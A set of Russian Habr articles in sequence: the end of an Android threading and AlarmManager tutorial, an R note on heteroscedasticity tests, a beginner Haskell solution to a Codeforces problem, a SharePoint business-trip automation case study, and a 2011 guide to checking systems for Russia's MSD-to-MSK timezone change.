Запуская такую задачу, видим, что приложение эти 10 секунд не реагирует на наши нажатия — оно целиком и полностью занято обработкой нашего сложного цикла. Второй вывод, который следует из этого примера — нельзя запускать ресурсоемкие задачи в одном потоке с интерфейсом. Поток UI всегда должен быть свободен, а его функции отрабатывать максимально быстро. На часть операций в UI-потоке наложен явный запрет: например, Андроид аварийно завершит приложение, если оно в UI-потоке попробует обратиться к Интернет.
### Параллельное выполнение: поток
**Посмотреть картинку**
Логичный теперь вопрос — а как создавать новые потоки и работать параллельно?
Покажем и создание потока, и факт параллельности его работы. Создадим поток и нагрузим его той же задачей, из-за которой в случае с handler'ом мы остались с неработающим интерфейсом на 10 секунд.
**Посмотреть код**
```
Thread thread = new Thread()
{
@Override
public void run() {
try {
sendMsgUsingBroadcast("Thread started");
long initTime = System.currentTimeMillis();
boolean timeElapsed = false;
while(!timeElapsed){
if(System.currentTimeMillis() - initTime > 10000 ){
timeElapsed = true;
}
}
sendMsgUsingBroadcast("Thread stopped");
} catch (Exception e) {
sendMsgUsingBroadcast("Thread error " + e.toString());
}
}
};
thread.start();
```
Создали, нагрузили — а интерфейс работает! Выполнение потока действительно происходит параллельно.
Следующий вопрос — как управлять потоком. Важно понимать, что поток будет завершен, только когда весь его исходный код выполнится. Нельзя просто так взять и убить поток. Самое время вспомнить про shared\_prefs и применить переменную для сихронизации: пусть вместе со стартом потока будет задана переменная running=true. В каждой своей итерации поток проверяет, выполняется ли running==true, и если нет, завершает свое выполнение.
**Посмотреть код**
```
Thread thread = new Thread()
{
@Override
public void run() {
try {
sendMsgUsingBroadcast("Thread started");
SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
while (true) {
if (!prefs.getBoolean("running", false)) {
break;
} else {
try {
Thread.sleep(100);
} catch (Exception e) {}
}
}
sendMsgUsingBroadcast("Thread stopped");
} catch (Exception e) {
sendMsgUsingBroadcast("Thread error " + e.toString());
}
}
};
thread.start();
```
Итак, мы продвинулись еще на несколько шагов дальше и теперь знаем не только про сервис, но и про Handler и поток. Казалось бы, этих инструментов достаточно, чтобы начать писать приложение, имеющее одной из функций регулярные нотификации пользователя. Но у них есть одна особенность: всех их объединяет тот факт, что мы ни на секунду не теряем управление, и всегда вынуждены находиться в каком-то бесконечном цикле, который большую часть времени спит и изредка просыпается проверить выполнение пары условий, чтобы понять — вывести пользователю уведомление или снова идти спать на длительный срок. Сюда добавляется головная боль: а что, если наш сервис или приложение убьет оптимизатор батареи, а зачем мы отъедаем столько ресурсов смартфона ради маленькой не особо-то и нужной свистелки? Согласитесь, было бы гораздо удобнее, если бы сама система раз в указанное время вызывала наш обработчик и передавала ему управление, мы по-быстрому проводили пару своих проверок, отправляли при необходимости уведомление пользователю и завершались до следующего вызова по системному таймеру?
### Повторяющееся выполнение: AlarmManager
Такая возможность есть и называется она AlarmManager.
**Посмотреть картинку**
И все, что он делает — вызывает sendBroadcast с Action, который мы слушаем в своем заранее объявленном BroadcastReceiver!
Напишем BroadcastReceiver, который, при получении управления, будет выводить уведомление пользователю:
**Посмотреть код**
```
public class MyAlarmServiceReceiver extends BroadcastReceiver {
private String CHANNEL_ID = "MyNotificationsChannel";
@Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "MyAlarmServiceReceiver onReceive", Toast.LENGTH_SHORT).show();
setNotify("Notify from AlarmManager", context);
}
}
```
Попросим AlarmManager вызывать этот Receiver каждые 15 минут:
**Посмотреть код**
```
AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
Intent intent = new Intent(AlarmActivity.this, MyAlarmServiceReceiver.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(getApplicationContext(),
0,
intent,
PendingIntent.FLAG_UPDATE_CURRENT);
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(System.currentTimeMillis());
calendar.set(Calendar.HOUR_OF_DAY, 1);
calendar.set(Calendar.MINUTE, 10);
//alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, 1 * 60 * 1000, pendingIntent); // not repeating - just one run, if needed
alarmManager.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), AlarmManager.INTERVAL_FIFTEEN_MINUTES, pendingIntent);
```
Результат не заставит себя долго ждать: каждые 15 минут мы будет получать соответствующие уведомления.
Последним пунктом (просто чтобы не заканчивать на сложном) я вынес логирование.
### Логирование
**Посмотреть картинку**
Открываем Logcat Reader и видим логи, отправляемые в него нашим приложением.
А при необработанном исключении (здесь для примера приводится деление на ноль) видим причину, по которой произошло падение приложения.
**Посмотреть код**
```
String LOG_TAG = "MYDEMOAPP";
Log.i(LOG_TAG, "Test info log");
Log.d(LOG_TAG, "Test debug log");
Log.e(LOG_TAG, "Test error log");
```
Самое время закончить рассказ манифестом приложения, откуда становится понятно, почему при запуске программы открывается именно MainActivity, а также посмотреть список разрешений, использованных в приложении.
Исходный код
============
[Исходный код доступен по ссылке](https://github.com/Jen94/AndroidDemo)
Заключение
==========
На этом завершается повествование, в рамках которого мы приходим к интуитивному пониманию основных компонентов Android. Дальнейший путь к написанию своего первого приложения уже гораздо более долгий, но такая наглядная демонстрация, на мой взгляд, значительно повышает веру в собственные силы: ничего сложного здесь не написано, но при этом все работает. Ну и, разумеется, из исходного кода теперь уже знакомой демонстрационной программы можно забирать какие-то кусочки и пробовать собрать свой первый Android-проект. | https://habr.com/ru/post/483878/ | null | ru | null |
# Вглядываясь в зеркала или еще раз о проблеме гетероскедастичности
### Секунда теории
Гетероскедастичность – это ситуация, когда ошибка регрессии не удовлетворяет условию гомоскедастичности, т.е. дисперсия этой самой ошибки непостоянно. Это приводит при использовании метода наименьших квадратов к разным неприятным эффектам смещения значений оценок, что ставит под сомнение смысл всей проделанной на основании данного уравнения регрессии работы.
В странствиях по CRAN-у попался пакет skedastic, в котором реализованы 25 разных тестов гомоскедастичности – о нем и поговорим.
### О тестах
Вдумчивый разбор математического основания всех реализованных тестов – это дело статьи в специализированном журнале, дело данной заметки – посмотреть, как они работают.
Возьмем из пакета UsingR данные о бриллиантах diamond и посмотрим уравнение регрессии (цена зависит от веса)
```
library(tidyverse)
library(ggplot2)
library(skedastic)
library(AER)
library(gvlma)
library(UsingR)
data(diamond)
ggplot(data = diamond, aes(x=carat, y=price)) + geom_point()
model_1 <- lm(price~carat, data=diamond)
summary(model_1)
gvlma(model_1)
ggplot(data = diamond, aes(x=carat, y=model_1$residuals)) + geom_point() + ylab("Error of model")
```
График 1 - Исходные данныеНа графике видна классическая линейная зависимость. Соответствующая модель значима и даже (по версии пакета gvlma) все условия Гаусса-Маркова выполняются
График ошибок говорит о том же самом:
График 2 - Ошибки моделиЕсть значительные основания полагать, что гетероскедастичности тут нет. Теперь посмотрим на результаты применения пакета skedastic (во всех тестах нулевая гипотеза: есть гомоскедастичность; при уровне значимости меньше заданного, допустим, 0.05, она будет отвергнута):
Собственно, тесты почти единодушны: 24 из 25 (кроме теста Хонды) указали, что нулевая гипотеза не может быть отвергнута, значит, можно смело говорить про гомоскедастичность.
### Эксперимент
Самое интересное, правда, другое – вопрос о том, насколько эти тесты определяют гетероскедастичность, когда у нас она есть. Создадим искусственный датафрейм по формуле y = ax+b+e(1+s|x|) при разных значениях s. При s=0 у нас классическая гомоскедастичность (ошибки происходят из нормального распределения), при s=1 – классическая гетероскедастичность (когда дисперсия ошибок растет при увеличении х по модулю). Логично предположить, что нормальное поведение теста в этих случаях – обратная пропорциональность p-значения от значения s. Каждый тест проводился 100 раз на разных значениях a и b, его результаты потом усреднялись. Соответствующие графики представлены ниже:
Собственно, тестов, определяющий данный вид гетероскедастичности, всего 4 (из 25): Диблази-Боуманна, Уайта, Юса и Чжоу. Это говорит о том, что даже если вам тесты показали, что у вас все хорошо, это не значит, что оно так и есть. И это также повод внимательно посмотреть и определить области эффективности этих тестов.
Все материалы, в т.ч. статьи авторов-изобретателей тестов, есть на <https://github.com/acheremuhin/Heteroscedacity> | https://habr.com/ru/post/678834/ | null | ru | null |
# Решение турнирных задач на языке Haskell
Доброго времени суток всем хабражителям
Перед вами статья, посвященная довольно известному, но не сильно популярному языку Haskell. В ней мне хочется показать пример решения простой турнирной задачи на языке Haskell. Надеюсь, что эта статья поможет начинающим программистам на Хаскеле сделать первые шаги к написанию полноценной программы.
В качестве примера программы я выбрал [задачу](http://codeforces.ru/problemset/problem/267/A) с сайта Codeforces. Эта задача очень простая, а значит мы сможем сосредоточиться непосредственно на языке, который мы хотим изучить, кроме того Codeforces поддерживает отправку решений на языке Haskell, а это значит, что мы сможем протестировать свое решение на их тестах. Начнем с того, что прочитаем условие задачи.
> Заданы два числа. До тех пор, пока оба они больше нуля, с ними производят одну и ту же операцию: из большего числа вычитают меньшее. Если числа равны, то из одного вычитают другое. Например, из пары (4,17) за одну операцию получается пара (4,13), а из пары (5,5) пара (0,5).
>
>
>
> Вам задано некоторое количество пар (ai, bi). Сколько операций будет выполнено для каждой из них?
>
>
Итак, нам нужно для каждой пары чисел посчитать число операций над ними для достижения результата. Это соответствует следующей сигнатуре функции
```
solve :: Int -> Int -> Int
solve = undefined
```
Реализацию функции я записал как undefined, что позволит проверить программу на наличие ошибок компиляции. Полноценную реализацию функции оставляю читателям в качестве упражнения.
Наша программа должна считать входные данные. В первой строке содержится одно число n, задающее количество пар чисел, для которых необходимо вывести ответ (посчитать значение функции solve). Считывание числа можно реализовать следующим образом
```
main = do
nStr <- getLine
let n = (read nStr :: Int)
```
Для простоты будем использовать do-нотацию (хотя [она и считается вредной](http://www.haskell.org/haskellwiki/Do_notation_considered_harmful)). Те, кто не знаком с этой нотацией, может пока считать, что она позволяет записывать функцию в стиле, напоминающем императивный. Сначала считываем строку, затем конвертируем ее в число и заносим в переменную n. Это незаконченная реализация функции main, ее еще предстоит дописать.
Дальше нужно считать n строк, каждая из которых содержит пару чисел, для которых нужно вывести значение функции solve. Здесь необходимо повторить одно действие (считать 2 числа в строке, посчитать значение функции solve, вывести результат) n раз. Для начала реализуем это действие
```
printSolution :: IO ()
printSolution = do
numsStr <- getLine
let nums = map (read :: String -> Int) $ words numsStr
print $ solve (nums!!0) (nums!!1)
```
> @leventov предложил красивый способ считывания чисел при помощи сопоставления с образцом
>
>
> ```
> printSolution :: IO ()
> printSolution = do
> numsStr <- getLine
> let [n1, n2] = map read $ words numsStr
> print $ solve n1 n2
>
> ```
>
>
> Заметьте, что здесь я не указал явно тип функции read. Система типов Хаскеля сможет вывести его сама, поскольку функция solve принимает параметры типа Int, поэтому загромождать код особого смысла не имеет (спасибо [dima\_mendeleev](https://habrahabr.ru/users/dima_mendeleev/)).
>
>
Функция считывает строку (getLine), разбивает ее на части (words), преобразует каждую часть в число (map (read :: String -> Int)), а затем распечатывает значение функции solve, вызванной со считанными параметрами (print $ solve (nums!!0) (nums!!1)). Рекомендую запомнить функции words и read, их очень удобно использовать для работы с вводом, да и вообще со строками.
Затем нужно реализовать повторение этого действия n раз. В императивных языках это записывалось бы через цикл, но у нас язык функциональный, поэтому прибегнем к помощи рекурсии
```
printNSolutions :: Int -> IO ()
printNSolutions 1 = printSolution
printNSolutions n = do
printSolution
printNSolutions (n-1)
```
Передаем функции параметр типа Int — число повторений. Если число равно 1, то надо просто один раз вызвать printSolution, если же оно больше 1, то надо вызвать printSolution 1 раз, а затем повторить вызов еще n-1 раз. Значений n меньших 1 нам по условию достаться не может, поэтому я не делаю никаких дополнительных проверок входных данных ни здесь, ни в других местах, где идет работа с вводом данных.
Все, что осталось сделать, — это вызвать функцию `printNSolutions` с аргументом n, уже считанным ранее в функции main
```
main = do
nStr <- getLine
let n = (read nStr :: Int)
printNSolutions n
```
Теперь функция main дописана до конца, однако можно сделать ее чуть короче (и опять, тип функции read можно явно не писать)
```
main = do
nStr <- getLine
printNSolutions $ read nStr
```
Или вовсе отказаться от do-нотации
```
main = getLine >>= (printNSolutions . read)
```
Вот и все, мы написали программу на языке Haskell! Напоследок я приведу ее полный код (если вы хотите сделать упражнение, не открывайте листинг, а напишите реализацию самостоятельно и протестируйте в системе Codeforces)
**Листинг**
```
module Main where
solve :: Int -> Int -> Int
solve 0 _ = 0
solve _ 0 = 0
solve a b
| a >= b = (a `div` b) + solve b (a `mod` b)
| otherwise = solve b a
printSolution :: IO ()
printSolution = do
numsStr <- getLine
let nums = map (read :: String -> Int) $ words numsStr
print $ solve (nums!!0) (nums!!1)
printNSolutions :: Int -> IO ()
printNSolutions 1 = printSolution
printNSolutions n = do
printSolution
printNSolutions (n-1)
main = do
nStr <- getLine
printNSolutions $ (read nStr :: Int)
``` | https://habr.com/ru/post/166763/ | null | ru | null |
# Портал на службе бухгалтерии или автоматизация авансовых отчетов
Всем привет! Сегодня мы решили поделиться результатами небольшого, но важного проекта, как это часто бывает очень простые с первого взгляда вещи решают сложные задачи, которые дают существенную эффективность в повседневной жизни.
С нашей точки зрения этот материал будет интересен прежде всего тем, кто занимается разработкой и развитием внутренних порталов, и думает что-же полезного можно сделать кроме всеми любимых справочников сотрудников, новостей, дней рождений и мать их курсов валют.
Итак, представим средних размеров организацию, которая разбросана по территории нашей большой страны, а именно такие компании выбирают SharePoint в качестве корпоративного портала. Самый обычный сотрудник собирается поехать в командировку и вот тут начинается самое интересное: заполни заявку, согласуй у руководителя, передай в службу персонала, получи аванс на расходы, съезди в командировку, заполни отчет, сдай его в бухгалтерию.
Если честно, пока писали, уже сами запутались, что и в какой последовательности нужно делать, а ведь еще нужно помнить, как все правильно оформить.
Если представить это графически, то выглядит вот так:
Цифры из реальной жизни – сотрудники нашего заказчика совершают 20 000 командировок в год, вы скажете не может быть такого? это не реально? Но посмотрим на эту цифру по-другому – эти 20 000 командировок совершают 4 000 человек. То есть в среднем по 5 командировок на человека за год.
Вполне реальная цифра.
НО если посчитать время, которое траться на поддержку данного процесса, то выходит 200 000 часов… Двести тысяч часов, КАРЛ!
В один прекрасный момент руководство совершило эту калькуляцию, прослезилось и решило, что пора это все автоматизировать.
И как это можно автоматизировать?
----------------------------------
Мы придумали модуль на корпоративный портал заказчика, интегрированный с используемыми в компании системами 1С и БОСС-кадровик, который позволяет сотрудникам осуществлять всю процедуру согласования командировок и отчетности по ним в электронном виде.
И процедура согласования командировок стала выглядеть вот так:
Срок оформления заявок и согласования отчетов сократился до 1 дня. Не нужно физического присутствия специалистов, не нужно оформлять тонны бумажных документов. Все онлайн и в короткие сроки. И даже с мобильного.
Звучит неплохо, правда? Сейчас расскажем, как мы этого добились:
1) UI/UX-концепция
-------------------
Первым шагом мы проработали UI/UX – прорисовали простые, последовательные, логичные и удобные экраны решения, а затем перешли к реализации.
Вот так выглядят пользовательские экраны:
**Список командировок и добавление новой заявки**
**Заявка на командировку**
**Форма согласования заявки руководителем**
**Форма авансового отчета о командировке**
**А в таком виде авансовый отчет видит руководитель и бухгалтерия**
2) Прикрутка к SharePoint
-------------------------
Далее начали прикручивать все к порталу на SharePoint. Портал на шарике всем хорош, кроме того, что в нем нет транзакционности. Но на то мы и спецы, чтобы решать нестандартные задачи.
Мы научились обходить ее так:
1. Например, для хранения списка городов, целей и дат добавили в список SharePoint поле типа Note:
```
```
2. При сохранении айтема в это поле сохранили сериализованный JSON:
```
requestListItem[Constants.Lists.Requests.Destinations] = JsonHelper.JsonSerializer(destinations);
```
3. Для получения данных о городах, целях и датах при просмотре десериализовываем обратно:
```
Destinations = JsonHelper.JsonDeserialize((string)item[Constants.Lists.Requests.Destinations])
```
Сим-салабим и порчу с Шарепоинта сняли.
3) Интеграция с БОСС-кадровик и 1С
----------------------------------
С системами БОСС-кадровик и «1С Бухгалтерия» проинтегрировались через базы SQL с помощью EntityFramework. Но это задача более-менее стандартная и зависит от конкретных конфигураций. Уверены, вы и без нас знаете, что делать.
4) Мобильная версия модуля
--------------------------
И, наконец, сделали мобильную версию для оформления заявок на командировки прямо на лету.
Вы же понимаете, в среднем 5 командировок на человека в год это значит один ездит раз в год, а другой 50. Есть еще нюанс – в данной конкретной компании очень многие не имеют стационарных компьютеров и тем более ноутов. Вот для тех, кто без ноута из одной командировки летит сразу в другую, мобильная форма штука просто незаменимая.
Итак, как мы обеспечили мобильность.
JavaScript решили использовать единый, а переключение между мобильным представлением и основным сделали с помощью средств SharePoint:
1. Создали канал устройств:
2. Сделали переключение MasterPage в зависимости от канала.
3. На aspx странице сделали отображение и подключение скриптов и css в зависимости от канала:
```
```
Для мобильного и основного отображения сделали View, которые похожи структурой, но отличаются разметкой. Ниже примеры списков заявок.
1. Основная:
```
Твои командировки
-----------------
Новая командировка
У тебя есть незакрытый аванс в размере RUB. Ты не можешь взять новый аванс, пока не закроешь старый.
У тебя есть сумма к возмещению в размере RUB.
| | | | | Город | Статус | Цель | Сумма |
| --- | --- | --- | --- | --- | --- | --- | --- |
| заявка на командировку
|
|
|
| | | |
Без аванса
|
```
2. Мобильная:
```
Твои командировки
=================
У тебя есть незакрытый аванс в размере RUB. Ты не можешь взять новый аванс, пока не закроешь старый.
У тебя есть сумма к возмещению в размере RUB.
Заявка на командировку
Без аванса
####
####
```
**Вуаля!**
Вот так традиционные процессы, которые работали годами можно поменять и сделать быстрыми и удобными, а самое главное менее затратными с точки зрения ресурсов.
При этом мы не изобретали велосипед, а мягко встроились в существующую ИТ-экосистему заказчика. Компания давно и надолго выбрала стратегию работы с корпоративным порталом как основным инструментом коммуникации с сотрудниками. И мы с радостью помогаем им делать SharePoint-портал действительно эффективным рабочим ресурсом. | https://habr.com/ru/post/280526/ | null | ru | null |
# Переезд временной зоны MSD в MSK — новый Y2K локального масштаба
Все, наверное, хоть раз слышали, что в России с 2011 года отменен переход с летнего время на зимнее. Чем же это грозит каждому из нас — и администраторам большого количества серверов в сложных системах, и обычным пользователям, имеющим один компьютер и мобильный телефон? Что случится в ночь с 29 на 30 октября 2011 — до которой осталось, кстати, всего 2 недели?
Новый [Федеральный закон Российской Федерации от 3 июня 2011 г. N 107-ФЗ «Об исчислении времени»](http://www.rg.ru/2011/06/06/vremya-dok.html):
* принят Государственной Думой 2011-05-20
* одобрен Советом Федерации 2011-05-25
* опубликован 2011-06-06
* подписан президентом 2011-06-09
* вступил в силу с 2011-08-07
Чем же грозят нам эти изменения и что от этого может сломаться?
Что именно и когда изменяется?
==============================
У `Europe/Moscow` было два разных часовых пояса: летнее декретное время MSD = UTC+4 и зимнее время MSK = UTC+3. Теперь у этой timezone станет всего один общий часовой пояс, именующийся MSK и равный UTC+4. Другие временные зоны, использующиеся на территории РФ, меняются аналогичным образом, но проводить эксперименты всегда проще всего на наиболее «официальной» — т.е. именно Europe/Moscow.
Иллюстрировать изменения лучше всего на UNIX timestamp — это количество секунд, прошедших с начала Эпохи, 1970-01-01 00:00:00 UTC. Это простое целое число и оно абсолютно никак не зависит ни от каких часовых поясов и изменяющихся местных законов.
| Что именно | Timestamp | Было | Стало |
| --- | --- | --- | --- |
| Начало Эпохи | 0 | `Jan 1 03:00:00 MSK 1970` | `Jan 1 03:00:00 MSK 1970` |
| Зима начала 2011 года | 1296000000 | `Jan 26 03:00:00 MSK 2011` | `Jan 26 03:00:00 MSK 2011` |
| Лето 2011 | 1310000000 | `Jul 7 04:53:20 **MSD** 2011` | `Jul 7 04:53:20 **MSK** 2011` |
| Зима конца 2011 года | 1325000000 | `Dec 27 **18**:33:20 MSK 2011` | `Dec 27 **19**:33:20 MSK 2011` |
| За секунду до возможного переключения | 1319929199 | `Oct 30 02:59:59 **MSD** 2011` | `Oct 30 02:59:59 **MSK** 2011` |
| Сразу после переключения | 1319929200 | `Oct 30 **02**:00:00 MSK 2011` | `Oct 30 **03**:00:00 MSK 2011` |
Итого, как мы видим, момент истины или такой новый маленький локальный Y2k наступает с 1319929199 секунды на 1319929200-ую — либо все ломается, либо нет.
Апстрим
=======
Для подавляющего большинства операционных систем апстримом (т.е. общим сайтом, который первоначально собирает всю эту информацию) являлся [испытывающий сейчас определенный копирайтные сложности](http://habrahabr.ru/blogs/copyright/129924/) проект TZ database, располагавшийся по адресу [elsie.nci.nih.gov/pub](ftp://elsie.nci.nih.gov/pub/)
Новые версии этой БД выходили регулярно и имели четкую систему нумерации: первые 4 цифры — номер года, затем одна буква — номер версии внутри года.
В TZ database соответствующие изменения были внесены весьма оперативно: закон РФ опубликован 2011-06-06, а изменения были опубликованы в версии 2011h от 2011-06-15.
Таким образом, если коротко: если в вашей ОС используется пакет типа tzdata с любой версией, равной или старше 2011h (т.е. 2011i, 2011j и т.д.) — то все в порядке.
Чем грозит неправильная информация о timezone?
==============================================
Сильно зависит от того, что за система работает со временем и насколько эта работа критична.
Например, если у вас нет систем, которые работают с timezone Europe/Moscow — например, у вас все-все-все работает по UTC — то остаток статьи можно с чистой совестью не читать.
В зоне риска находятся в первую очередь:
* Логи — если они ведутся не по UTC
* Базы данных, учетные системы, органайзеры
* Биллинг, бухгалтерские системы
* Любые системы, работающие в потоковом режиме 24x7: мониторинг, видеонаблюдения и т.д.
* Системы, которые выполняют функцию часов и будильников — т.е. мобильные телефоны, десктопы, отображающие время и т.д.
Я получаю время с ntp-сервера, о чем мне беспокоиться — там ведь время наверняка переведут, как надо?
=====================================================================================================
Нет, не переведут: с ntp-сервера приходит именно UNIX timestamp, который описан выше, а все операции с временными зонами производит операционная система, уже зная локальную настройку. До тех пор, пока локальная настройка — неверная, получение времени с ntp-сервера будет, наоборот, создавать проблему, которую даже вручную толком не решить: придется либо отказываться от использовании ntp, либо попытке «подвести на час» через некоторое время ntp все «исправит» обратно. «Чинить» нужно именно timezone.
Почему вы все время говорите о каком-то UTC, ведь весь мир ориентируется на время по Гринвичу — GMT?
====================================================================================================
В общем, нет: именно [UTC (Universal Time, Coordinated)](http://en.wikipedia.org/wiki/Coordinated_Universal_Time) используется как основной стандарт по всему миру со времен изобретения атомных часов (~начало 1960-х) — в технике, в авиации, в астрономии и во всех остальных местах, где нужно точное время.
Если совсем коротко — то GMT и UTC принципиально различаются по механизму учета времени — в GMT он куда более «неудобный» для техники. В разные моменты времени GMT и UTC могут отставать друг от друга до ~0.9 секунды. Несмотря на то, что прошло уже порядка 50 лет, люди все равно по инерции часто произносят «по Гринвичу» и даже умудряются действительно регулярно писать аббревиатуру GMT.
Как проверить, сломается ли что-то на моей системе?
===================================================
Ниже я постарался собрать всю информацию о том, когда, где и что обновлялось и как можно быстро проверить, будет ли иметь проблемы та или иная система.
### Универсальный способ проверки
Универсальный, но весьма длинный способ проверки — годится, в частности, для любых мобильных телефонов и прочих подобных устройств: выставить часы принудительно на 2011-10-30 01:59 и подождать 1 час и 1 минуту. Если устройство/ОС переставит после этого часы на 02:00 — то, значит, все плохо, timezone не обновлены. Если часы останутся на 03:00 — все в порядке, изменения применены.
### Linux
Традиционно в Linux есть системный timezones, располагающиеся в `/usr/share/zoneinfo`. На данный момент ситуация с популярными дистрибутивами такая — хорошо видно, кстати, какие дистрибутивы как быстро обновляются:
| Дистрибутив | Пакет | Исправление с версии | Дата |
| --- | --- | --- | --- |
| ALT Linux Platform 6 | [tzdata](http://packages.altlinux.org/en/Platform6/srpms/tzdata) | 2011h | 2011-07-01 |
| Arch Linux | [tzdata](http://habrahabr.ru/blogs/sysadm/130363/#comment_4321043) | 2011h-1 | <2011-07-08 |
| CentOS/RHEL 4 | [tzdata](http://rpm.pbone.net/index.php3/stat/4/idpl/16965723/dir/centos_4/com/tzdata-2011h-2.el4.noarch.rpm.html) | 2011h-2.el4 | 2011-08-29 |
| CentOS/RHEL 5 | [tzdata](http://pkgs.org/centos-5-rhel-5/centos-rhel-updates-x86_64/tzdata-2011h-1.el5.x86_64.rpm.html) | 2011h-1.el5 | 2011-06-28 |
| Debian stable (squeeze) | [tzdata](http://packages.debian.org/stable/tzdata) | 2011h-0squeeze1 | 2011-08-13 |
| openSUSE 11.4 | [timezone](http://pkgs.org/opensuse-11.4/opensuse-update-i586/timezone-2011i-2.2.1.i586.rpm.html) | 2011i-2.2.1 | 2011-09-04 |
| Ubuntu hardy | [tzdata](http://packages.ubuntu.com/hardy-updates/tzdata) | 2011j~repack-0ubuntu0.8.04 | 2011-09-16 |
| Ubuntu lucid | [tzdata](http://packages.ubuntu.com/lucid-updates/tzdata) | 2011j-0ubuntu0.10.04 | 2011-09-16 |
| Ubuntu natty | [tzdata](http://packages.ubuntu.com/natty-updates/tzdata) | 2011j-0ubuntu0.11.04 | 2011-09-15 |
**Как проверять:** запустить вот такой скрипт:
```
#!/bin/sh -ef
S1=$(LC_ALL=C TZ=Europe/Moscow date -d @1314567890)
[ "$S1" = 'Mon Aug 29 01:44:50 MSK 2011' ] || (echo FAIL1; exit 1)
S2=$(LC_ALL=C TZ=Europe/Moscow date -d @1324567890)
[ "$S2" = 'Thu Dec 22 19:31:30 MSK 2011' ] || (echo FAIL2; exit 2)
echo OK
```
Если он выдает что-то, отличное от OK и нулевого exit status — то проблема на тестируемой системе есть. Нужно попробовать обновить систему: если поможет, отписаться, что в таком-то дистрибутиве с такой-то версии такого-то пакета с timezones проблема исчезла; если не поможет — то отписаться, что в таком-то дистрибутиве проблема есть до сих пор.
### FreeBSD
Исправления [в head](http://svnweb.freebsd.org/base?view=revision&revision=223629) и [в stable FreeBSD 8](http://svnweb.freebsd.org/base?view=revision&revision=223630) были внесены 2011-06-28.
**Как проверять:** запустить чуть-чуть измененный вариант скрипта, приведенного выше:
```
#!/bin/sh -ef
S1=$(LC_ALL=C TZ=Europe/Moscow date -r 1314567890)
[ "$S1" = 'Mon Aug 29 01:44:50 MSK 2011' ] || (echo FAIL1; exit 1)
S2=$(LC_ALL=C TZ=Europe/Moscow date -r 1324567890)
[ "$S2" = 'Thu Dec 22 19:31:30 MSK 2011' ] || (echo FAIL2; exit 2)
echo OK
```
Скорее всего этот же скрипт подойдет и для Mac OS X. Буду признателен, если кто-то расскажет, как там обстоят дела.
### Solaris
Timezone обновлены до 2011h в следующих патчах:
* SPARC, Solaris 8: patch 109809-17
* SPARC, Solaris 9: patch 113225-29
* SPARC, Solaris 10: patch 146470-04
* x86, Solaris 8 patch 109810-17
* x86, Solaris 9 patch 116545-27
* x86, Solaris 10 patch 146471-04
Установить можно, как обычно, через `patchadd`, после установки придется либо перезагрузиться, либо перезагрузить зону через `tzreload`.
Соответствующий [баг заведен под номером 7055084](http://wesunsolve.net/bugid/id/7055084).
### Windows
Обновление приходит с [накопительным пакетом обновлений часовых поясов для операционных систем Windows за август 2011 года — обновление 2570791](http://support.microsoft.com/kb/2570791/ru) (спасибо [pokryshkin](https://habrahabr.ru/users/pokryshkin/)). Установка самого патча перезагрузки не требует. Исправления доступны для операционных систем:
* Windows 7
* Windows Server 2008 R2
* Windows Server 2008 SP2
* Windows Vista
* Windows Server 2003 SP2
* Windows XP SP3
Более старые операционные системы останутся без обновлений.
Есть также ручное решение, описанное в [914387](http://support.microsoft.com/kb/914387/en).
(подсказывает [ComputerPers](http://habrahabr.ru/blogs/sysadm/130363/#comment_4321099))
Гораздо более подробное описание решений для Windows-систем и подсистем на их базе можно прочитать [в отдельной статье «Изменение часовых зон в России, Белоруссии, Украине и Армении»](http://habrahabr.ru/blogs/sysadm/130305/#windows) от [roman\_tik](https://habrahabr.ru/users/roman_tik/).
### Java
Язык Java, как правило, носит свои timezones с собой где-то в районе `$JAVA_HOME/lib/zi` — но в некоторых случаях (при инсталляции пакетом из дистрибутива) эти файлы генерируются на основе общесистемных.
В «официальной» поставке Oracle Java SE изменения внесены [на основе 2011h](http://www.oracle.com/technetwork/java/javase/tzdata-versions-138805.html), номер версии 1.3.40, обновление от 2011-06-29.
**Как проверять:** создать файл TestMSD.java с таким содержимым:
```
import java.util.*;
import java.text.DateFormat;
public class TestMSD {
public static void main(String[] args) {
Calendar c = Calendar.getInstance(TimeZone.getTimeZone("Europe/Moscow"));
DateFormat df = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL, Locale.US);
df.setCalendar(c);
c.setTimeInMillis(1314567890L * 1000L);
if (!df.format(c.getTime()).equals("Monday, August 29, 2011 1:44:50 AM MSK")) {
System.out.println("FAIL1");
System.exit(1);
}
c.setTimeInMillis(1324567890L * 1000L);
if (!df.format(c.getTime()).equals("Thursday, December 22, 2011 7:31:30 PM MSK")) {
System.out.println("FAIL2");
System.exit(2);
}
System.out.println("OK");
System.exit(0);
}
}
```
Скомпилировать этот файл командой `javac TestMSD.java`, а затем запустить командой `java TestMSD`. Если всё хорошо — то запуск выведет OK на stdout и вернется с exit status = 0, иначе выведется сообщение об ошибке.
### Android
Общая база данных для временных зон живет в Android-системе обычно в файле `/etc/timezones.db`, откуда ее использует java-машина и все приложения на java. Выделенной /usr/share/zoneinfo в системе по умолчанию нет.
Как правило, со всеми аппаратами, что силами хабрасообщества удалось проверить, ситуация грустная:
* Asus TF101 — последняя штатная прошивка от ASUS, Android 3.2.1 — все плохо (проверил [flashvoid](http://habrahabr.ru/blogs/sysadm/130363/#comment_4321130))
* Google Nexus One — последняя официальная прошивка (2.3.6) — все плохо (проверил [binba](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320724))
* Google Nexus One — c прошивкой CyanogenMod-7.1, build 220 от 2011-10-13 — все плохо (проверил [Anjin](http://habrahabr.ru/blogs/sysadm/130363/#comment_4321235))
* Google Nexus S — последняя официальная прошивка (2.3.6) — все плохо (проверил [8bitjoey](http://habrahabr.ru/blogs/sysadm/130363/#comment_4321131))
* Google Nexus S — прошивка WhisperCore 0.5.5 — все плохо (проверял [Darka](http://habrahabr.ru/blogs/sysadm/130363/#comment_4321020))
* HTC Desire — последняя официальная прошивка (2.29.405.5 CL293415, Android 2.2) — все плохо
* HTC Desire — developer preview (2.3.3) — все плохо (проверил [LanG](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320875))
